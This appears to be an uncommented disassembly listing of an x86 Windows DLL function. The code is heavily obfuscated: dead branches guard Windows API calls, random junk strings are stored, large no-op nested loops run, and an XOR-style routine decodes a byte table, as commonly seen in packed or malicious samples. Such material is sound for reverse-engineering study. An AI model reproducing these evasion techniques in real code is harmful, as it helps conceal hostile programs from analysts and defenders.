mov dword [ebp - 0xb54], 1
mov eax, dword [ebp - 0x488]
mov dword [ebp - 0xf94], eax
mov eax, dword [ebp - 0x1a0]
cmp eax, dword [ebp - 0x1a0]
jg 0x10008fff
mov dword [ebp - 0x5ac], 1
jmp 0x10009006
and dword [ebp - 0x5ac], 0
mov eax, dword [ebp - 0x84c]
cmp eax, dword [ebp - 0x5ac]
jle 0x10009020
mov dword [ebp - 0xa9c], 1
jmp 0x10009027
and dword [ebp - 0xa9c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x4d4]
cmp dword [ebp - 0xa9c], eax
jne 0x10009048
mov dword [ebp - 0x5b4], 1
jmp 0x1000904f
and dword [ebp - 0x5b4], 0
mov eax, dword [ebp - 0x5b4]
sub eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ebp + ecx*4 - 0x4d4]
sub ecx, eax
cmp ecx, dword [ebp - 0x488]
jg 0x1000907e
mov dword [ebp - 0x854], 1
jmp 0x10009085
and dword [ebp - 0x854], 0
mov eax, dword [ebp - 0x854]
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x448], 0
je 0x1000909f
jmp 0x10008f5e
jmp 0x10008f5e
mov byte [ebp - 0x160], 0
movzx eax, byte [ebp - 0x160]
test eax, eax
je 0x100090d3
push 0
push 0x130f
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x234]
and eax, 0x4f
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x234]
or ecx, 0x4f
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x234]
mov word [ebp + eax*2 - 0xf30], cx
mov dword [ebp - 0xf9c], 0x9102
mov dword [ebp - 0xfa4], 0xffffffff
mov dword [ebp - 0xfac], 1
mov dword [ebp - 0xfb4], 0xd2a7e9f2
mov dword [ebp - 0xfbc], 0x3532
mov dword [ebp - 0x9a4], 0xe428
mov dword [ebp - 0xb4], 0
jmp 0x10009162
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 4
jge 0x1000917e
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0x1434], 0xd4e79
jmp 0x10009155
mov dword [ebp - 0xb4], 0
jmp 0x10009197
mov eax, dword [ebp - 0xb4]
inc eax
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 1
jge 0x100091b3
mov eax, dword [ebp - 0xb4]
mov dword [ebp + eax*4 - 0xfc4], 2
jmp 0x1000918a
mov eax, dword [ebp - 0x9a4]
dec eax
mov dword [ebp - 0x9a4], eax
mov dword [ebp - 0x38], 2
and dword [ebp - 0x2b0], 0
jmp 0x100091d8
mov eax, dword [ebp - 0x38]
inc eax
inc eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x1b
jae 0x10009d3d
mov dword [ebp - 0x16c], 0xada439be
mov dword [ebp - 0xccc], 0x8faaaeb9
mov dword [ebp - 0x414], 0
jmp 0x1000920f
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 4
jge 0x1000922b
mov eax, dword [ebp - 0x414]
mov dword [ebp + eax*4 - 0x11c4], 0xfffffff8
jmp 0x10009202
mov dword [ebp - 0x16c], 3
jmp 0x10009244
mov eax, dword [ebp - 0x16c]
dec eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jl 0x10009274
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp + eax*4 - 0x11c4]
mov dword [ebp - 0xccc], eax
mov eax, dword [ebp - 0x16c]
cmp dword [ebp + eax*4 - 0x11c4], 0
je 0x10009272
jmp 0x10009237
jmp 0x10009237
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x234]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x38], eax
jne 0x10009977
mov dword [ebp - 0xe9c], 0xffffffff
mov dword [ebp - 0xe98], 0xffffffff
mov dword [ebp - 0xe94], 0xffffffff
mov dword [ebp - 0xe90], 0xffffffff
mov dword [ebp - 0x1a8], 1
mov dword [ebp - 0x5cc], 0x4cd0
mov dword [ebp - 0xb74], 0
mov dword [ebp - 0x5d4], 0x2716
mov dword [ebp - 0x864], 0x93765224
mov dword [ebp - 0x288], 0
jmp 0x10009302
mov eax, dword [ebp - 0x288]
inc eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 1
jge 0x1000931e
mov eax, dword [ebp - 0x288]
mov dword [ebp + eax*4 - 0xce4], 0xffffffff
jmp 0x100092f5
mov dword [ebp - 0x1a8], 0
jmp 0x10009337
mov eax, dword [ebp - 0x1a8]
inc eax
mov dword [ebp - 0x1a8], eax
cmp dword [ebp - 0x1a8], 3
jg 0x10009621
mov dword [ebp - 0x1d0], 0x6d7be7e5
mov dword [ebp - 0xb6c], 7
mov dword [ebp - 0xdcc], 0xe2bf35dd
mov dword [ebp - 0xb7c], 0xfffffff6
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xe9c], 0
je 0x1000938d
mov eax, dword [ebp - 0x1d0]
dec eax
mov dword [ebp - 0x1d0], eax
jmp 0x10009506
mov dword [ebp - 0xe08], 0xfffffff9
mov dword [ebp - 0x5c4], 0x27c5
mov dword [ebp - 0xb64], str.xrpnuc_awrhfu_bqud_rcvnsx_bus_gudvvoql_xfsu_ixrym
cmp dword [ebp - 0x5c4], 0x29f7
jle 0x10009492
and dword [ebp - 0x3f4], 0
jmp 0x100093d1
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x6d40
jge 0x10009492
and dword [ebp - 0x3ac], 0
jmp 0x100093f7
mov eax, dword [ebp - 0x3ac]
inc eax
mov dword [ebp - 0x3ac], eax
cmp dword [ebp - 0x3ac], 0x5216
jge 0x1000948d
and dword [ebp - 0x290], 0
jmp 0x1000941d
mov eax, dword [ebp - 0x290]
inc eax
mov dword [ebp - 0x290], eax
cmp dword [ebp - 0x290], 0x7143
jge 0x10009488
mov eax, dword [ebp - 0x3ac]
mov ecx, dword [ebp - 0x290]
sar eax, cl
and eax, dword [ebp - 0x3f4]
cdq
mov dword [ebp - 0xcd4], eax
mov dword [ebp - 0xcd0], edx
push dword [ebp - 0xcd0]
push dword [ebp - 0xcd4]
lea ecx, [ebp - 0x1404]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xb5c], eax
mov ecx, dword [ebp - 0xb5c]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x1404]
call fcn.10001c71
jmp 0x10009410
jmp 0x100093ea
jmp 0x100093c4
cmp dword [ebp - 0xe08], 0
je 0x100094a0
jmp 0x10009621
mov dword [ebp - 4], 8
cmp dword [ebp - 0x5c4], 0x2696
jge 0x100094bf
push dword [ebp - 0xb64]
call fcn.1003e6f6
pop ecx
jmp 0x100094db
or dword [ebp - 4], 0xffffffff
jmp 0x100094e5
mov byte [ebp - 0x10c], 0
movzx eax, byte [ebp - 0x10c]
test eax, eax
je 0x10009506
push 0
push 0x2114
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xfcc], eax
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0xfd4], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0xe9c], 0x69be5411
je 0x1000953d
mov dword [ebp - 0x85c], 1
jmp 0x10009544
and dword [ebp - 0x85c], 0
mov eax, dword [ebp - 0x1a8]
add eax, dword [ebp - 0x85c]
cmp eax, 0xfff8
jb 0x10009563
mov dword [ebp - 0xcd8], 1
jmp 0x1000956a
and dword [ebp - 0xcd8], 0
mov eax, dword [ebp - 0xb6c]
mov dword [ebp - 0xfdc], eax
mov eax, dword [ebp - 0xdcc]
mov dword [ebp - 0xfe4], eax
mov eax, 0x8d7d2a7e
test eax, eax
jne 0x10009592
cmp dword [ebp - 0x5cc], 0
mov eax, dword [ebp - 0x5cc]
imul eax, dword [ebp - 0xb74]
test eax, eax
je 0x100095b8
cmp dword [ebp - 0x5d4], 0
je 0x100095b8
mov dword [ebp - 0xa4c], 1
jmp 0x100095bf
and dword [ebp - 0xa4c], 0
mov eax, dword [ebp - 0x1d0]
add eax, dword [ebp - 0xa4c]
imul eax, dword [ebp - 0x5d4]
mov dword [ebp - 0x864], eax
cmp dword [ebp - 0x864], 0
jne 0x100095f3
mov eax, 0x2c7a2e42
test eax, eax
jne 0x100095f3
and dword [ebp - 0x4d0], 0
jmp 0x100095fd
mov dword [ebp - 0x4d0], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp + eax - 0xce4], ecx
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xb7c], eax
jmp 0x1000932a
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x234]
inc eax
mov dword [ebp - 0x2b0], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x234]
mov ecx, dword [ebp - 0x38]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x94], 0x9b55bb2c
mov dword [ebp - 0x194], 0x7f609b2b
mov dword [ebp - 0x5dc], 0x72c34ccb
mov dword [ebp - 0x94], 7
jmp 0x1000967f
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
cmp dword [ebp - 0x94], 0xfffffff9
jl 0x10009972
mov dword [ebp - 0xb04], 1
mov dword [ebp - 0xb00], 1
mov dword [ebp - 0xafc], 1
mov dword [ebp - 0xaf8], 1
mov dword [ebp - 0x450], 1
mov dword [ebp - 0xb8c], 0xb8909ff4
mov dword [ebp - 0x194], 0x82d5
cmp dword [ebp - 0x194], 0
je 0x10009898
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb04]
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0
jne 0x1000974c
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 3
imul ecx, dword [ebp + ecx - 0xb04], 0x4c6f
cmp ecx, dword [ebp + eax - 0xb04]
jge 0x10009727
mov dword [ebp - 0x9ac], 1
jmp 0x1000972e
and dword [ebp - 0x9ac], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb04]
cmp dword [ebp - 0x9ac], eax
jge 0x1000974c
and dword [ebp - 0x5e4], 0
jmp 0x10009756
mov dword [ebp - 0x5e4], 1
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x5e4], eax
jl 0x10009770
mov dword [ebp - 0x86c], 1
jmp 0x10009777
and dword [ebp - 0x86c], 0
mov eax, dword [ebp - 0x194]
cmp dword [ebp - 0x86c], eax
jle 0x10009791
mov dword [ebp - 0x5ec], 1
jmp 0x10009798
and dword [ebp - 0x5ec], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb04]
cmp dword [ebp - 0x5ec], eax
jl 0x100097c8
mov eax, 0xd79
test eax, eax
jne 0x100097c8
cmp dword [ebp - 0x94], 0
jne 0x100097c8
and dword [ebp - 0xaa8], 0
jmp 0x100097d2
mov dword [ebp - 0xaa8], 1
mov eax, dword [ebp - 0xaa8]
sub eax, dword [ebp - 0x94]
cmp eax, dword [ebp - 0x194]
jge 0x100097f2
mov dword [ebp - 0x5f4], 1
jmp 0x100097f9
and dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 1
jl 0x1000980e
mov dword [ebp - 0x874], 1
jmp 0x10009815
and dword [ebp - 0x874], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb04]
cmp eax, dword [ebp - 0x874]
je 0x10009836
mov dword [ebp - 0x5fc], 1
jmp 0x1000983d
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 0x5fc]
inc eax
cmp eax, dword [ebp - 0x450]
jge 0x10009858
mov dword [ebp - 0x9b4], 1
jmp 0x1000985f
and dword [ebp - 0x9b4], 0
cmp dword [ebp - 0x9b4], 0xffff
ja 0x10009877
mov dword [ebp - 0x604], 1
jmp 0x1000987e
and dword [ebp - 0x604], 0
mov eax, dword [ebp - 0x194]
cmp eax, dword [ebp - 0x604]
jle 0x10009898
mov dword [ebp - 0xe2c], 1
jmp 0x1000989f
and dword [ebp - 0xe2c], 0
cmp dword [ebp - 0x450], 0
je 0x100098bd
mov eax, 0x745d
test eax, eax
je 0x100098bd
mov dword [ebp - 0x87c], 1
jmp 0x100098c4
and dword [ebp - 0x87c], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x87c], eax
jg 0x100098de
mov dword [ebp - 0xb84], 1
jmp 0x100098e5
and dword [ebp - 0xb84], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb04]
mov dword [ebp - 0x1004], eax
mov eax, 0xfffb
cmp eax, 0x5c74
jbe 0x10009910
mov dword [ebp - 0xcf0], 1
jmp 0x10009917
and dword [ebp - 0xcf0], 0
push 0xfffffffffffffffb
pop eax
cmp eax, 0x576dbd8d
jg 0x1000992d
mov dword [ebp - 0x60c], 1
jmp 0x10009934
and dword [ebp - 0x60c], 0
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x60c], eax
jne 0x1000994e
mov dword [ebp - 0xa54], 1
jmp 0x10009955
and dword [ebp - 0xa54], 0
mov eax, dword [ebp - 0xa54]
sub eax, 0x7c33
imul eax, dword [ebp - 0x450]
mov dword [ebp - 0xb8c], eax
jmp 0x10009672
jmp 0x100091d0
mov dword [ebp - 0x3b4], 0xfffffff9
mov dword [ebp - 0x298], 0
jmp 0x1000999a
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 4
jge 0x100099b6
mov eax, dword [ebp - 0x298]
mov dword [ebp + eax*4 - 0xf04], 0xfe6
jmp 0x1000998d
mov dword [ebp - 0x3b4], 0xfffffffd
jmp 0x100099cf
mov eax, dword [ebp - 0x3b4]
dec eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 0xffffffef
jg 0x10009b05
mov dword [ebp - 0xd0], 0xeccce1e2
mov dword [ebp - 0xdd4], 0x6ee4e912
mov byte [ebp - 0x15f], 0
movzx eax, byte [ebp - 0x15f]
test eax, eax
je 0x10009a0a
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov dword [ebp - 0xd0], 3
jmp 0x10009a23
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0
jl 0x10009b00
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0xf04], 0xfff8
jae 0x10009a4f
mov dword [ebp - 0x614], 1
jmp 0x10009a56
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp + eax*4 - 0xf04]
cmp dword [ebp - 0x614], eax
jl 0x10009a77
mov dword [ebp - 0x9bc], 1
jmp 0x10009a7e
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0xf04], 0
jne 0x10009a9a
mov dword [ebp - 0x884], 1
jmp 0x10009aa1
and dword [ebp - 0x884], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf04]
cmp dword [ebp - 0x884], eax
je 0x10009ac1
mov dword [ebp - 0x61c], 1
jmp 0x10009ac8
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0xd0]
add eax, dword [ebp - 0x61c]
cmp dword [ebp - 0x9bc], eax
jge 0x10009ae8
mov dword [ebp - 0x624], 1
jmp 0x10009aef
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0xdd4], eax
jmp 0x10009a16
jmp 0x100099c2
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2b0]
movzx eax, byte [ebp + eax - 0x236]
movzx eax, word [ebp + eax*2 - 0xf30]
mov ecx, dword [ebp - 0x38]
movzx ecx, byte [ebp + ecx - 0x233]
and ecx, eax
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x2b0]
movzx eax, byte [ebp + eax - 0x236]
movzx eax, word [ebp + eax*2 - 0xf30]
mov edx, dword [ebp - 0x38]
movzx edx, byte [ebp + edx - 0x233]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x38]
movzx eax, byte [ebp + eax - 0x234]
mov word [ebp + eax*2 - 0xf30], dx
mov dword [ebp - 0x88c], 0x4924
mov dword [ebp - 0xb94], str.mfbjffwya_cksjtxqtg_vdcgzkrjc_nxcl_qifnkky_kar_zjjuwc
cmp dword [ebp - 0x88c], 0x4abf
jle 0x10009c63
and dword [ebp - 0x2a0], 0
jmp 0x10009ba0
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0x3815
jge 0x10009c63
and dword [ebp - 0x434], 0
jmp 0x10009bc6
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
cmp dword [ebp - 0x434], 0x777
jge 0x10009c5e
and dword [ebp - 0x2a8], 0
jmp 0x10009bec
mov eax, dword [ebp - 0x2a8]
inc eax
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0x36b0
jge 0x10009c59
and dword [ebp - 0x3bc], 0
jmp 0x10009c0e
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 0x1f54
jge 0x10009c57
mov eax, dword [ebp - 0x2a0]
and eax, dword [ebp - 0x434]
xor eax, dword [ebp - 0x2a8]
or eax, dword [ebp - 0x3bc]
cdq
mov dword [ebp - 0xce0], eax
mov dword [ebp - 0xcdc], edx
push dword [ebp - 0xcdc]
push dword [ebp - 0xce0]
mov ecx, 0x1006f958
call fcn.10001c9b
jmp 0x10009c01
jmp 0x10009bdf
jmp 0x10009bb9
jmp 0x10009b93
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x88c], 0x4787
jge 0x10009c86
mov edx, dword [ebp - 0xb94]
mov ecx, 0x1006f958
call fcn.1000366a
jmp 0x10009ca2
or dword [ebp - 4], 0xffffffff
jmp 0x10009cac
mov dword [ebp - 0xcfc], 0
mov dword [ebp - 0x100c], 0xc32b96ce
mov dword [ebp - 0x1014], 8
mov dword [ebp - 0xb9c], 0xfffffffc
mov dword [ebp - 0xe10], 0x8ee3f2f3
mov dword [ebp - 0x101c], 7
mov byte [ebp - 0x10e], 0
movzx eax, byte [ebp - 0x10e]
test eax, eax
je 0x10009d00
call dword [sym.imp.USER32.dll_WaitMessage]
cmp dword [ebp - 0xcfc], 1
jge 0x10009d1b
cmp dword [ebp - 0xb9c], 0
jne 0x10009d1b
and dword [ebp - 0x62c], 0
jmp 0x10009d25
mov dword [ebp - 0x62c], 1
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0xe10], eax
and dword [ebp - 0x2b0], 0
jmp 0x100091d0
mov dword [ebp - 0x1e4], 0x540d7f82
mov dword [ebp - 0xac], 0
jmp 0x10009d60
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 3
jge 0x10009d7c
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0xe64], 0xfffffffd
jmp 0x10009d53
mov dword [ebp - 0xac], 0
jmp 0x10009d95
mov eax, dword [ebp - 0xac]
inc eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 2
jge 0x10009db1
mov eax, dword [ebp - 0xac]
mov dword [ebp + eax*4 - 0xb0c], 1
jmp 0x10009d88
mov dword [ebp - 0x1e4], 0
jmp 0x10009dca
mov eax, dword [ebp - 0x1e4]
dec eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0xffffffe8
jg 0x10009e2a
mov dword [ebp - 0x3fc], 0xdce9d05b
mov dword [ebp - 0x3fc], 0
jmp 0x10009df6
mov eax, dword [ebp - 0x3fc]
dec eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0xfffffff9
je 0x10009e28
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x10009e26
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
jmp 0x10009de9
jmp 0x10009dbd
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb0c]
inc eax
mov dword [ebp - 0xaa4], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaa4]
mov dword [ebp + eax - 0xb0c], ecx
cmp dword [ebp - 0xaa4], 0
jl 0x10009e66
mov dword [ebp - 0xba4], 1
jmp 0x10009e6d
and dword [ebp - 0xba4], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xe64]
sub ecx, dword [ebp + eax - 0xe64]
jne 0x10009ea2
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xb0c], 0
jne 0x10009ea2
and dword [ebp - 0x634], 0
jmp 0x10009eac
mov dword [ebp - 0x634], 1
cmp dword [ebp - 0x634], 0xa0d0
jge 0x10009ec4
mov dword [ebp - 0xd08], 1
jmp 0x10009ecb
and dword [ebp - 0xd08], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xb0c]
mov dword [ebp - 0x1024], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xe64]
mov dword [ebp - 0x102c], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xe64]
mov dword [ebp - 0x1034], eax
mov dword [ebp - 0x1e4], 0xfffffff9
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xf30], cx
lea eax, [ebp - 0xf30]
push eax
lea ecx, [ebp - 0x12f0]
call fcn.100150cc
mov dword [ebp - 0xbac], eax
mov eax, dword [ebp - 0xbac]
mov dword [ebp - 0xddc], eax
mov dword [ebp - 4], 0xc
push dword [ebp - 0xddc]
call fcn.10003e85
pop ecx
mov dword [ebp - 0x8b0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12f0]
call fcn.100150f1
mov dword [ebp - 0x894], 0x22fc
mov dword [ebp - 0xd14], str.kufoiif_edbulk_gcnude_hlu_ens_fbodbhx_wbb_kgcxujq
cmp dword [ebp - 0x894], 0x2345
jle 0x1000a094
and dword [ebp - 0x2c0], 0
jmp 0x10009fa2
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x7d96
jge 0x1000a094
and dword [ebp - 0x2b8], 0
jmp 0x10009fc8
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x37ed
jge 0x1000a08f
and dword [ebp - 0x3c4], 0
jmp 0x10009fee
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x2c45
jge 0x1000a08a
and dword [ebp - 0x41c], 0
jmp 0x1000a014
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0xc15
jge 0x1000a085
mov ecx, dword [ebp - 0x2b8]
add ecx, dword [ebp - 0x3c4]
mov eax, dword [ebp - 0x2c0]
shl eax, cl
xor eax, dword [ebp - 0x41c]
cdq
mov dword [ebp - 0xcec], eax
mov dword [ebp - 0xce8], edx
push dword [ebp - 0xce8]
push dword [ebp - 0xcec]
lea ecx, [ebp - 0x13c8]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xbb4], eax
mov ecx, dword [ebp - 0xbb4]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x13c8]
call fcn.10001c71
jmp 0x1000a007
jmp 0x10009fe1
jmp 0x10009fbb
jmp 0x10009f95
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x894], 0x20d0
jge 0x1000a0b3
push dword [ebp - 0xd14]
call fcn.1003e6f6
pop ecx
jmp 0x1000a0cf
or dword [ebp - 4], 0xffffffff
jmp 0x1000a0d9
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x68], 0xfffffffd
mov dword [ebp - 0xab0], 6
mov dword [ebp - 0x654], 0x5121
mov dword [ebp - 0xd2c], str.rhjefqh_wodjagwfc_hsjhdi_kbiw_auqwglokk_crfh_ryvdrqs_ofqzdcvoa_zzfe_vifwk_pafuxry_exgobe_fawu_oebow
cmp dword [ebp - 0x654], 0x549f
jle 0x1000a1f2
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
and dword [ebp - 0x2d0], 0
jmp 0x1000a131
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x40d9
jge 0x1000a1f2
and dword [ebp - 0x2c8], 0
jmp 0x1000a157
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x7438
jge 0x1000a1ed
and dword [ebp - 0x3cc], 0
jmp 0x1000a17d
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x1b24
jge 0x1000a1e8
mov ecx, dword [ebp - 0x2c8]
add ecx, dword [ebp - 0x3cc]
mov eax, dword [ebp - 0x2d0]
shl eax, cl
cdq
mov dword [ebp - 0xcf8], eax
mov dword [ebp - 0xcf4], edx
push dword [ebp - 0xcf4]
push dword [ebp - 0xcf8]
lea ecx, [ebp - 0x1320]
call fcn.10001a11
pop ecx
pop ecx
mov dword [ebp - 0xbbc], eax
mov ecx, dword [ebp - 0xbbc]
call fcn.10001c7b
push eax
call fcn.1003e6f6
pop ecx
lea ecx, [ebp - 0x1320]
call fcn.10001c71
jmp 0x1000a170
jmp 0x1000a14a
jmp 0x1000a124
mov dword [ebp - 0x7c], 0xffffffe4
jmp 0x1000a202
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xffffffed
jg 0x1000a61d
mov dword [ebp - 0xbd4], 0x4abc2489
mov dword [ebp - 0xe24], 0x1690
cmp dword [ebp - 0xe24], 0xa60
jge 0x1000a3ec
lea ecx, [ebp - 0xef4]
call fcn.10001c31
mov dword [ebp - 4], 0xf
lea edx, [ebp - 0xef4]
mov ecx, 0x1006fa78
call fcn.100162c3
lea ecx, [ebp - 0xed0]
call fcn.10001c31
mov byte [ebp - 4], 0x10
and dword [ebp - 0x404], 0
lea ecx, [ebp - 0xef4]
call fcn.10001fff
dec eax
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0xef4]
call fcn.10001fff
xor edx, edx
push 2
pop ecx
div ecx
test edx, edx
jne 0x1000a2bf
push dword [ebp - 0x12c]
lea ecx, [ebp - 0xef4]
call fcn.100029b0
mov al, byte [eax]
movzx eax, al
push eax
lea ecx, [ebp - 0xed0]
call fcn.10014fdb
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
mov byte [ebp - 0x29], 1
mov eax, dword [ebp - 0x404]
cmp eax, dword [ebp - 0x12c]
jg 0x1000a3b2
movzx eax, byte [ebp - 0x29]
test eax, eax
je 0x1000a334
lea eax, [ebp - 0xed0]
push eax
push dword [ebp - 0x404]
lea ecx, [ebp - 0xef4]
call fcn.100029b0
mov dl, byte [eax]
lea ecx, [ebp - 0x1398]
call fcn.100162c8
pop ecx
mov dword [ebp - 0xbc4], eax
push dword [ebp - 0xbc4]
lea ecx, [ebp - 0xed0]
call fcn.10001db0
lea ecx, [ebp - 0x1398]
call fcn.10001c71
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
jmp 0x1000a389
lea eax, [ebp - 0xed0]
push eax
push dword [ebp - 0x12c]
lea ecx, [ebp - 0xef4]
call fcn.100029b0
mov dl, byte [eax]
lea ecx, [ebp - 0x1350]
call fcn.100162c8
pop ecx
mov dword [ebp - 0xd20], eax
push dword [ebp - 0xd20]
lea ecx, [ebp - 0xed0]
call fcn.10001db0
lea ecx, [ebp - 0x1350]
call fcn.10001c71
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
movzx eax, byte [ebp - 0x29]
test eax, eax
jne 0x1000a39d
mov dword [ebp - 0x63c], 1
jmp 0x1000a3a4
and dword [ebp - 0x63c], 0
mov al, byte [ebp - 0x63c]
mov byte [ebp - 0x29], al
jmp 0x1000a2c3
push fcn.100164f5
lea edx, [ebp - 0xed0]
mov ecx, 0x1006f958
call fcn.10016358
mov ecx, eax
call fcn.10015098
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xed0]
call fcn.10001c71
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xef4]
call fcn.10001c71
mov dword [ebp - 0x9c], 0
jmp 0x1000a405
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 3
jge 0x1000a421
mov eax, dword [ebp - 0x9c]
